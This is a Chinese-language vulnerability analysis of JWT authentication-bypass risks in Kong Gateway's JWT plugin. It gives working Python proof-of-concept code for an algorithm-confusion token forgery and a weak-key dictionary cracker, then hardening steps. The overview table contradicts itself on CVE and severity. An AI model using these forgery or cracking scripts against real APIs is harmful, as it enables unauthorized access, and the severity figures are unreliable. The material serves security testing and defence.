一、漏洞简介

1.1 漏洞背景

Kong 的 JWT (JSON Web Token) 插件是使用最广泛的认证插件之一,用于验证和保护 API 请求。JWT 插件的安全漏洞可能导致认证绕过,使攻击者能够访问受保护的 API 资源。

历史上,JWT 实现中存在多种安全风险,包括算法混淆攻击、密钥泄露、配置不当等问题。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 Kong JWT 插件安全漏洞
披露时间 暂未找到权威信息
影响组件 Kong Gateway
属性
CVE 编号 多个相关 CVE
危害等级 高危 (High)
CVSS 评分 7.5 - 9.1
漏洞类型 认证绕过 / 算法混淆 / 密钥管理

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

  • Kong JWT 插件所有版本(取决于配置)
  • 使用弱密钥配置的 JWT 插件
  • 未正确验证算法的配置

2.2 不受影响的版本

  • 正确配置了强密钥的 JWT 插件
  • 使用 RS256/ES256 等非对称算法的配置
  • 启用了严格算法验证的配置

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 使用对称算法(HS256/HS384/HS512)且密钥过弱
  2. 允许算法切换攻击
  3. 密钥泄露或使用默认密钥
  4. 未正确验证 token 签名

三、漏洞详情与原理解析

3.1 漏洞触发机制

1. 算法混淆攻击 (Algorithm Confusion):

正常情况:
Client -> [RS256 签名的 JWT] -> Kong -> [使用 RSA 公钥验证] -> 通过

攻击场景:
Attacker -> [HS256 签名的 JWTkey=公钥] -> Kong -> [误用公钥作为 HMAC 密钥] -> 验证通过!

2. 弱密钥攻击:

# 使用弱密钥的 JWT 可以被暴力破解
import jwt
import hashlib

weak_key = "secret"  # 弱密钥
token = jwt.encode({"sub": "admin"}, weak_key, algorithm="HS256")
# 攻击者可以使用字典攻击破解

3. None 算法攻击:

# 某些 JWT 库曾存在此漏洞
{
  "alg": "none",
  "typ": "JWT"
}
{
  "sub": "admin",
  "exp": 9999999999
}

3.2 源码层面的根因分析(结合源码与补丁对比)

Kong JWT 插件的核心代码位于 kong/plugins/jwt/

-- kong/plugins/jwt/jwt_parser.lua (简化)
local function verify_signature(self, secret, algorithm)
    if algorithm == "HS256" then
        -- HMAC-SHA256 验证
        local sig = hmac_sha256(secret, self.header_b64 .. "." .. self.payload_b64)
        return sig == self.signature

    elseif algorithm == "RS256" then
        -- RSA 签名验证
        return rsa_verify(public_key, self.signature, self.signing_string)
    end
end

-- 漏洞点:如果允许算法切换,可能导致混淆攻击
local algorithm = self.header.alg
if not validate_algorithm(algorithm, config.algorithm) then
    -- 某些版本可能未正确验证
    return nil, "algorithm not allowed"
end

修复后的代码逻辑:

-- 严格的算法验证
local function verify_token(self, config)
    local header_alg = self.header.alg
    local config_alg = config.algorithm or "HS256"

    -- 强制算法匹配
    if header_alg ~= config_alg then
        return nil, "algorithm mismatch"
    end

    -- 继续验证签名...
end

四、漏洞复现(可选)

4.1 环境搭建

# 创建带 JWT 认证的服务
curl -X POST http://localhost:8001/services \
  -d "name=protected-service" \
  -d "url=http://httpbin.org"

curl -X POST http://localhost:8001/routes \
  -d "service.id=<service-id>" \
  -d "paths[]=/protected"

# 添加 JWT 插件(使用弱密钥配置)
curl -X POST http://localhost:8001/services/protected-service/plugins \
  -d "name=jwt" \
  -d "config.secret=secret"

4.2 PoC 演示与测试过程

1. 算法混淆攻击 PoC:

#!/usr/bin/env python3
"""
JWT 算法混淆攻击 PoC
仅用于授权安全测试
"""

import jwt
import base64
import json
import requests

def algorithm_confusion_attack(target_url, public_key_pem):
    """
    算法混淆攻击:将 RS256 token 转换为 HS256
    """
    # 创建恶意 payload
    payload = {
        "iss": "attacker",
        "sub": "admin",
        "exp": 9999999999
    }

    # 使用公钥作为 HMAC 密钥
    # 注意:这是攻击,使用公钥的 PEM 格式作为密钥
    token = jwt.encode(payload, public_key_pem, algorithm="HS256")

    headers = {
        "Authorization": f"Bearer {token}"
    }

    response = requests.get(target_url, headers=headers)
    return response.status_code, response.text

# 示例用法
if __name__ == "__main__":
    # 从目标获取公钥
    public_key = """-----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
    -----END PUBLIC KEY-----"""

    # 尝试攻击
    status, text = algorithm_confusion_attack(
        "http://target:8000/protected",
        public_key
    )
    print(f"Status: {status}")

2. 弱密钥破解 PoC:

#!/usr/bin/env python3
"""
JWT 弱密钥暴力破解
"""

import jwt
import hashlib
from itertools import product

def crack_jwt_weak_key(token, wordlist):
    """
    尝试使用字典破解 JWT 密钥
    """
    for password in wordlist:
        try:
            payload = jwt.decode(token, password, algorithms=["HS256", "HS384", "HS512"])
            print(f"[+] 找到密钥: {password}")
            return password, payload
        except jwt.InvalidSignatureError:
            continue
    return None, None

# 常见弱密钥列表
common_weak_keys = [
    "secret", "password", "123456", "admin", "key",
    "api_key", "jwt_secret", "kong", "changeme",
    "", " ", "null", "undefined"
]

# 使用示例
if __name__ == "__main__":
    token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
    key, payload = crack_jwt_weak_key(token, common_weak_keys)

3. JWT Token 劫持测试:

# 获取有效的 JWT token
TOKEN=$(curl -s http://target:8000/login \
  -d "username=user" \
  -d "password=pass" | jq -r '.token')

# 尝试修改 payload 并重新签名
# 如果密钥弱,可能被破解

# 检查 token 是否有效
curl -H "Authorization: Bearer $TOKEN" http://target:8000/protected

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到 Kong 3.x 最新版本,JWT 插件已增强安全验证。

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:使用强密钥

# 生成强密钥
openssl rand -base64 64

# 配置 JWT 插件使用强密钥
curl -X POST http://localhost:8001/plugins \
  -d "name=jwt" \
  -d "config.secret=$(openssl rand -base64 64)" \
  -d "config.algorithm=HS256"

方案二:使用非对称算法

# 生成 RSA 密钥对
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# 配置 JWT 插件使用 RS256
curl -X POST http://localhost:8001/consumers/admin/jwt \
  -d "algorithm=RS256" \
  -d "rsa_public_key=@public.pem"

方案三:严格算法验证

# 在 kong.conf 或插件配置中
# 确保只允许特定算法
curl -X PATCH http://localhost:8001/plugins/<plugin-id> \
  -d "config.algorithm=RS256"

方案四:启用令牌过期和刷新

-- 在 JWT payload 中设置合理的过期时间
{
  "iss": "your-issuer",
  "sub": "user-id",
  "exp": 1700000000,  -- 过期时间
  "iat": 1699900000,  -- 签发时间
  "jti": "unique-token-id"  -- 令牌 ID(用于撤销)
}

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料